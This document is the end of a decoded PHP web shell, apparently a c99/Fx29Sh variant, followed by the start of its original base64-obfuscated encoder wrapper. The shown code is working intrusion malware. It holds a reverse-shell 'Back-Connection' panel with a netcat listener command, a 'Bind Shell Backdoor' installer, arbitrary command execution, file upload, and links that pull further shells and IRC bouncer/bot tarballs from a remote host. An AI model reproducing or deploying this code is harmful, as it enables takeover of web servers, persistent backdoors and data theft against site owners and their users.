"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
"AAA7",
"ext_html"=>
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
"ADs=",
"ext_jpg"=>
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
"FxEAOw==",
"ext_js"=>
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
"a00AjYYBbc/o9HjNniUAADs=",
"ext_lnk"=>
"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
"ADs=",
"ext_log"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
"ext_php"=>
"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0OqpaGeyYpqJlRG/rlwAADs=",
"ext_pl"=>
"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
"ext_swf"=>
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
"ext_tar"=>
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
"u4tLAgEAOw==",
"ext_txt"=>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"ext_wri"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
"IQA7"
);
//Untuk optimalisasi ukuran dan kecepatan.
$imgequals = array(
  "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  "ext_html"=>array("ext_html","ext_htm"),
  "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  "ext_lnk"=>array("ext_lnk","ext_url"),
  "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  "ext_doc"=>array("ext_doc","ext_dot"),
  "ext_js"=>array("ext_js","ext_vbs"),
  "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  "ext_wri"=>array("ext_wri","ext_rtf"),
  "ext_swf"=>array("ext_swf","ext_fla"),
  "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall) {
  header("Content-type: image/gif");
  header("Cache-control: public");
  header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  header("Cache-control: max-age=".(60*60*24*7));
  header("Last-Modified: ".date("r",filemtime(__FILE__)));
  foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  if (empty($images[$img])) {$img = "small_unk";}
  if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  echo base64_decode($images[$img]);
}
else {
  foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  natsort($images);
  $k = array_keys($images);
  echo  "<center>";
  foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  echo "</center>";
}
exit;
}
if ($act == "about") {
  echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>tristram [CCTeaM]</b><br>Beta-testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br><br> Thanks all who report bugs<br>Please report bugs to <a href=\"mailto:[email protected]\">Tristram</a></b>";
}
if ($act == "backc") {
  $ip = $_SERVER["REMOTE_ADDR"];
  $msg = $_POST['backcconnmsg'];
  $emsg = $_POST['backcconnmsge'];
  echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>");
  echo("$msg");
  echo("$emsg");
}
if ($act == "shbd"){
  $msg = $_POST['backcconnmsg'];
  $emsg = $_POST['backcconnmsge'];
  echo("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>
  Bind Port: <input type='text' name='backconnectport' value='5992'>
  <input type='hidden' name='use' value='shbd'>
  <input type='submit' value='Install Backdoor'></form>");
  echo("$msg");
  echo("$emsg");
  echo("</center>");
}
echo "</td></tr></table>
";
//COMMANDS PANEL
?>
<div  class=barheader2><b>.: COMMANDS PANEL :.</b></div>
<table class=mainpanel>
<?php
if (!$safemode) {
?>
<tr><td align=right>Command:</td>
<td><form method="POST">
    <input type=hidden name=act value="cmd">
    <input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">
    <input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute">
    </form>
</td></tr>
<tr><td align=right>Quick Commands:</td>
<td><form method="POST">
    <input type=hidden name=act value="cmd">
    <input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type=hidden name="cmd_txt" value="1">
    <select name="cmd">
    <?php
    foreach ($cmdaliases as $als) {
      echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
    }
    foreach ($cmdaliases2 as $als) {
      echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
    }
    ?>
    </select> -
    <input type=submit name=submit value="Execute">
    </form>
</td></tr>
<?php
}
?>
<tr><td align=right>Kernel Info:</td>
<td><form method="post" action="http://google.com/search">
    <input type="hidden" name="client" value="firefox-a">
    <input type="hidden" name="rls" value="org.mozilla:en-US:official">
    <input type="hidden" name="hl" value="en">
    <input type="hidden" name="hs" value="b7p">
    <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname()); ?>"> -
    <input type=submit name="btnG" VALUE="Search">
    </form>
</td></tr>
<tr><td align=right>Upload:</td>
<td><form method="POST" enctype="multipart/form-data">
    <input type=hidden name=act value="upload">
    <input type=hidden name="miniform" value="1">
    <input type="file" name="uploadfile"> - <input type=submit name=submit value="Upload"> <?php echo $wdt; ?>
    </form>
</td></tr>
<script language="javascript">
function set_arg(txt1,txt2) {
  document.forms.fphpfsys.arg1.value = txt1;
  document.forms.fphpfsys.arg2.value = txt2;
  }
</script>
<tr><td align=right>PHP Filesystem:</td>
<td><form name="fphpfsys" method="POST"><input type=hidden name=act value="phpfsys"><input type=hidden name="d" value="<?php echo $dispd; ?>">
    <select name="phpfsysfunc">
    <?php
    foreach ($phpfsaliases as $als) {
      if ($als[1]==$phpfsysfunc) { echo "<option selected value=\"".$als[1]."\">".$als[0]."</option>"; }
      else { echo "<option value=\"".$als[1]."\">".$als[0]."</option>";  }
    }
    ?>
    </select>
    File/Dir/URL: <input type="text" name="arg1" id="a1" size="40" value="<?php echo htmlspecialchars($arg1); ?>">
    To/Max: <input type="text" name="arg2" size="50" value="<?php echo htmlspecialchars($arg2); ?>">
    <input type=submit name=submit value="Execute"><hr noshade size=1>
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."cyberz.txt"; ?>','cyberz.php')">[Fx29Sh]</a>
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."fx.tar.gz"; ?>','fx.tar.gz')">[psyBNC]</a>
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."fxb.tar.gz"; ?>','fxb.tar.gz')">[Eggdrop]</a>
    </form>
</td></tr>
<tr><td align=right>Search:</td>
<td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;
    <input type=submit name=submit value="Search">
    </form>
    </td></tr>
<tr><td align=right>Make File:</td>
<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
    <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="Create"> <?php echo $wdt; ?>
    </form></td></tr>
<tr><td align=right>View File:</td>
<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="View">
    </form></td></tr>
</table>
<div class=barheader2 colspan=2><font color=yellow>.:[Coded Elite Defacer . [email protected] | Generated: <?php echo round(getmicrotime()-starttime,4); ?> seconds ]:.</font></div>
</body></html>
<?php chdir($lastdir); c99shexit(); ?>

Did this file decode correctly?

Original Code

<?php 
/*
Encoder : AROHA PHPencoder ver. 1.04
WEB : http://phpencoder.aroha.sk/
*/
$Q91786AA53BD57BEF1B78DB28F1A7BCBD="DQovKg0KRW5jb2RlciA6IEFST0hBIFBIUGVuY29kZXIgdmVyLiAxLjA0DQpXRUIgOiBodHRwOi8vcGhwZW5jb2Rlci5hcm9oYS5zay8NCiovDQo/Pjw/DQovKg0KRW5jb2RlciA6IEFST0hBIFBIUGVuY29kZXIgdmVyLiAxLjA0DQpXRUIgOiBodHRwOi8vcGhwZW5jb2Rlci5hcm9oYS5zay8NCiovDQo/Pjw/cGhwDQokc2hfaWQgPSAiU0c5dFpYQmhaMlU9IjsNCiRzaF92ZXIgPSAiIjsNCiRzaF9uYW1lID0gYmFzZTY0X2RlY29kZSgkc2hfaWQpLiRzaF92ZXI7DQokc2hfbWFpbnVybCA9ICJodHRwOi8vbGVnYWxyZWYucnUvY29uZmlnLyI7DQokaHRtbF9zdGFydCA9ICcnLg0KJzxodG1sPjxoZWFkPg0KPHRpdGxlPicuJHNoX25hbWUuJzwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KYm9keSx0YWJsZSB7IGZvbnQtZmFtaWx5OnZlcmRhbmE7Zm9udC1zaXplOjExcHg7Y29sb3I6d2hpdGU7YmFja2dyb3VuZC1jb2xvcjpibGFjazsgfQ0KdGFibGUgeyB3aWR0aDoxMDAlOyB9DQp0YWJsZSx0ZCB7IGJvcmRlcjoxcHggc29saWQgIzgwODA4MDttYXJnaW4tdG9wOjI7bWFyZ2luLWJvdHRvbToyO3BhZGRpbmc6NXB4OyB9DQphIHsgY29sb3I6bGlnaHRibHVlO3RleHQtZGVjb3JhdGlvbjpub25lOyB9DQphOmFjdGl2ZSB7IGNvbG9yOiMwMEZGMDA7IH0NCmE6bGluayB7IGNvbG9yOiM1QjVCRkY7IH0NCmE6aG92ZXIgeyB0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lOyB9DQphOnZpc2l0ZWQgeyBjb2xvcjojOTlDQ0ZGOyB9DQppbnB1dCxzZWxlY3Qsb3B0aW9uIHsgZm9udDo4cHQgdGFob21hO2NvbG9yOiNGRkZGRkY7bWFyZ2luOjI7Ym9yZGVyOjFweCBzb2xpZCAjNjY2NjY2OyB9DQp0ZXh0YXJlYSB7IGNvbG9yOiNkZWRiZGU7Zm9udDpmaXhlZHN5cyBib2xkO2JvcmRlcjoxcHggc29saWQgIzY2NjY2NjttYXJnaW46MjsgfQ0KLmZsZWZ0IHsgZmxvYXQ6bGVmdDt0ZXh0LWFsaWduOmxlZnQ7IH0NCi5mcmlnaHQgeyBmbG9hdDpyaWdodDt0ZXh0LWFsaWduOnJpZ2h0OyB9DQojcGFnZWJhciB7IGZvbnQ6MTBwdCB0YWhvbWE7cGFkZGluZzo1cHg7IGJvcmRlcjozcHggc29saWQgIzFFMUUxRTsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlOyB9DQojcGFnZWJhciB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KI3BhZ2ViYXIgcCB7IGZvbnQ6OHB0IHRhaG9tYTt9DQojcGFnZWJhciBhIHsgZm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjojMDBGRjAwOyB9DQojcGFnZWJhciBhOnZpc2l0ZWQgeyBjb2xvcjojMDBDRTAwOyB9DQojbWFpbm1lbnUgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQ0KI21haW5tZW51IGEgeyB0ZXh0LWFsaWduOiBjZW50ZXI7cGFkZGluZzogMHB4IDVweCAwcHggNXB4OyB9DQojbWFpbmluZm8sLmJhcmhlYWRlciwuYmFyaGVhZGVyMiB7IHRleHQtYWxpZ246Y2VudGVyOyB9DQojbWFpbmluZm8gdGQgeyBwYWRkaW5nOjNweDsgfQ0KLmJhcmhlYWRlciB7IGZvbnQtd2VpZ2h0OmJvbGQ7cGFkZGluZzo1cHg7IH0NCi5iYXJoZWFkZXIyIHsgcGFkZGluZzo1cHg7Ym9yZGVyOjJweCBzb2xpZCAjMUYxRjFGOyB9DQouY29udGVudHMsLmV4cGxvcmVyIHsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30NCi5jb250ZW50cyB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KLm1haW5wYW5lbCB7IGJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtwYWRkaW5nOjVweDsgfQ0KLmJhcmhlYWRlciwubWFpbnBhbmVsIHRhYmxlLHRkIHsgYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyB9DQoubWFpbnBhbmVsIGlucHV0LHNlbGVjdCxvcHRpb24geyBib3JkZXI6MXB4IHNvbGlkICMzMzMzMzM7bWFyZ2luOjA7IH0NCmlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYm9yZGVyOjFweCBzb2xpZCAjMDAwMDAwOyB9DQppbnB1dFt0eXBlPSJ0ZXh0Il0geyBwYWRkaW5nOjNweDt9DQouc2hlbGwgeyBiYWNrZ3JvdW5kLWNvbG9yOiNDMEMwQzA7Y29sb3I6IzAwMDA4MDtwYWRkaW5nOjVweDsgfQ0KLmZ4ZXJybXNnIHsgY29sb3I6cmVkOyBmb250LXdlaWdodDpib2xkOyB9DQojcGFnZWJhciwjcGFnZWJhciBwLGgxLGgyLGgzLGg0LGZvcm0geyBtYXJnaW46MDsgfQ0KI3BhZ2ViYXIsLm1haW5wYW5lbCxpbnB1dFt0eXBlPSJzdWJtaXQiXSB7IGJhY2tncm91bmQtY29sb3I6IzRBNEE0QTsgfQ0KLmJhcmhlYWRlcjIsaW5wdXQsc2VsZWN0LG9wdGlvbixpbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IzMzMzMzMzsgfQ0KdGV4dGFyZWEsLm1haW5wYW5lbCBpbnB1dCxzZWxlY3Qsb3B0aW9uIHsgYmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyB9DQovLyAtLT4NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCic7DQovL0F1dGhlbnRpY2F0aW9uDQokbG9naW4gPSAiIjsNCiRwYXNzID0gIiI7DQokbWQ1X3Bhc3MgPSAiIjsgLy9QYXNzd29yZCB5ZyB0ZWxhaCBkaSBlbmtyaXBzaSBkZyBtZDUuIEppa2Ega29zb25nLCBtZDUoJHBhc3MpLg0KJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOyAvL0NvbnRvaDogYXJyYXkoIjE5Mi4xNjguMC4qIiwiMTI3LjAuMC4xIikNCiRsb2dpbl90eHQgPSAiUmVzdHJpY3RlZCBBcmVhIjsgLy9QZXNhbiBIVFRQLUF1dGgNCiRhY2Nlc3NkZW5pZWRtZXNzID0gIjxhIGhyZWY9XCIkc2hfbWFpbnVybFwiPiIuJHNoX25hbWUuIjwvYT46IGFjY2VzcyBkZW5pZWQiOw0KJGd6aXBlbmNvZGUgPSBUUlVFOw0KJHVwZGF0ZW5vdyA9IEZBTFNFOyAvL0ppa2EgVFJVRSwgdXBkYXRlIHNoZWxsIHNla2FyYW5nLg0KJGM5OXNoX3VwZGF0ZXVybCA9ICRzaF9tYWludXJsLiJmeDI5c2hfdXBkYXRlLnBocCI7DQokYzk5c2hfc291cmNlc3VybCA9ICRzaF9tYWludXJsLiJmeDI5c2hfc291cmNlLnR4dCI7DQovLyRjOTlzaF91cGRhdGV1cmwgPSAiaHR0cDovL2xvY2FsaG9zdC90b29sei9meDI5c2hfdXBkYXRlLnBocCI7DQovLyRjOTlzaF9zb3VyY2VzdXJsID0gImh0dHA6Ly9sb2NhbGhvc3QvdG9vbHovZngyOXNoX3NvdXJjZS50eHQiOw0KJGZpbGVzdGVhbHRoID0gVFJVRTsgLy9UUlVFLCB0aWRhayBtZXJ1YmFoIHdha3R1IG1vZGlmaWthc2kgZGFuIGFrc2VzLg0KJGN1cmRpciA9ICIuLyI7DQokdG1wZGlyID0gIiI7IA0KJHRtcGRpcl9sb2cgPSAiLi8iOw0KJGxvZ19lbWFpbCA9ICJmZWVsY29tekBnbWFpbC5jb20iOyAvL2VtYWlsIHVudHVrIHBlbmdpcmltYW4gbG9nLg0KJHNvcnRfZGVmYXVsdCA9ICIwYSI7IC8vUGVuZ3VydXRhbiwgMCAtIG5vbW9yIGtvbG9tLiAiYSJzY2VuZGluZyBhdGF1ICJkImVzY2VuZGluZw0KJHNvcnRfc2F2ZSA9IFRSVUU7IC8vSmlrYSBUUlVFLCBzaW1wYW4gcG9zaXNpIHBlbmd1cnV0YW4gbWVuZ2d1bmFrYW4gY29va2llcy4NCiRzZXNzX2Nvb2tpZSA9ICJjOTlzaHZhcnMiOyAvL05hbWEgdmFyaWFiZWwgQ29va2llDQokdXNlZnNidWZmID0gVFJVRTsgLy9CdWZmZXItZnVuY3Rpb24NCiRjb3B5X3Vuc2V0ID0gRkFMU0U7IC8vSGFwdXMgZmlsZSB5ZyB0ZWxhaCBkaS1jb3B5IHNldGVsYWggZGlwYXN0ZQ0KJGhleGR1bXBfbGluZXMgPSA4Ow0KJGhleGR1bXBfcm93cyA9IDI0Ow0KJHdpbiA9IHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIjsNCiRkaXNhYmxlZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KaWYgKCFlbXB0eSgkZGlzYWJsZWZ1bmMpKSB7DQogICRkaXNhYmxlZnVuYyA9IHN0cl9yZXBsYWNlKCIgIiwiIiwkZGlzYWJsZWZ1bmMpOw0KICAkZGlzYWJsZWZ1bmMgPSBleHBsb2RlKCIsIiwkZGlzYWJsZWZ1bmMpOw0KfQ0KLy9GdW5jdGlvbnMNCmZ1bmN0aW9uIGdldF9waHBpbmkoKSB7DQogIGZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikgew0KICAgICRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIgLz4nLCB0cnVlKTsNCiAgICByZXR1cm4gQHByZWdfcmVwbGFjZSgnISgmW147XSopPHdiciAvPihbXjtdKjspIScsICckMSQyPHdiciAvPicsICRzdHIpOw0KICB9DQogIGZ1bmN0aW9uIFVfdmFsdWUoJHZhbHVlKSB7DQogICAgaWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuICc8aT5ubyB2YWx1ZTwvaT4nOw0KICAgIGlmIChAaXNfYm9vbCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlID8gJ1RSVUUnIDogJ0ZBTFNFJzsNCiAgICBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOw0KICAgIGlmIChAaXNfb2JqZWN0KCR2YWx1ZSkpICR2YWx1ZSA9IChhcnJheSkgJHZhbHVlOw0KICAgIGlmIChAaXNfYXJyYXkoJHZhbHVlKSkgew0KICAgICAgQG9iX3N0YXJ0KCk7DQogICAgICBwcmludF9yKCR2YWx1ZSk7DQogICAgICAkdmFsdWUgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICBAb2JfZW5kX2NsZWFuKCk7DQogICAgfQ0KICAgIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7DQogIH0NCiAgaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXRfYWxsJykpIHsNCiAgICAkciA9ICIiOw0KICAgIGVjaG8gIjx0YWJsZT48dHIgY2xhc3M9YmFyaGVhZGVyPjx0ZD5EaXJlY3RpdmU8L3RkPjx0ZD5Mb2NhbCBWYWx1ZTwvdGQ+PHRkPkdsb2JhbCBWYWx1ZTwvdGQ+PC90cj4iOw0KICAgIGZvcmVhY2ggKEBpbmlfZ2V0X2FsbCgpIGFzICRrZXk9PiR2YWx1ZSkgew0KICAgICAgJHIgLj0gIjx0cj48dGQ+Ii4ka2V5LiI8L3RkPjx0ZD48ZGl2IGFsaWduPWNlbnRlcj4iLlVfdmFsdWUoJHZhbHVlWydsb2NhbF92YWx1ZSddKS4iPC9kaXY+PC90ZD48dGQ+PGRpdiBhbGlnbj1jZW50ZXI+Ii5VX3ZhbHVlKCR2YWx1ZVsnZ2xvYmFsX3ZhbHVlJ10pLiI8L2Rpdj48L3RkPjwvdHI+IjsNCiAgICB9DQogICAgZWNobyAkcjsNCiAgICBlY2hvICI8L3RhYmxlPiI7DQogIH0NCn0NCmZ1bmN0aW9uIGRpc3BfZHJpdmVzKCRjdXJkaXIsJHN1cmwpIHsNCiAgJGxldHRlcnMgPSAiIjsNCiAgJHYgPSBleHBsb2RlKCJcXCIsJGN1cmRpcik7DQogICR2ID0gJHZbMF07DQogIGZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHsNCiAgICAkYm9vbCA9ICRpc2Rpc2tldHRlID0gJGxldHRlciA9PSAiQSI7DQogICAgaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30NCiAgICBpZiAoJGJvb2wpIHsNCiAgICAgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJGxldHRlci4iOlxcIikuIlwiIi4NCiAgICAgICgkaXNkaXNrZXR0ZT8iIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnTWFrZSBzdXJlIHRoYXQgdGhlIGRpc2tldHRlIGlzIGluc2VydGVkIHByb3Blcmx5LCBvdGhlcndpc2UgYW4gZXJyb3IgbWF5IG9jY3VyLicpXCIiOiIiKS4iPiBbIjsNCiAgICAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fQ0KICAgICAgZWxzZSB7JGxldHRlcnMgLj0gIjxmb250IGNvbG9yPXllbGxvdz4iLiRsZXR0ZXIuIjwvZm9udD4iO30NCiAgICAgICRsZXR0ZXJzIC49ICJdPC9hPiAiOw0KICAgIH0NCiAgfQ0KICBpZiAoIWVtcHR5KCRsZXR0ZXJzKSkge1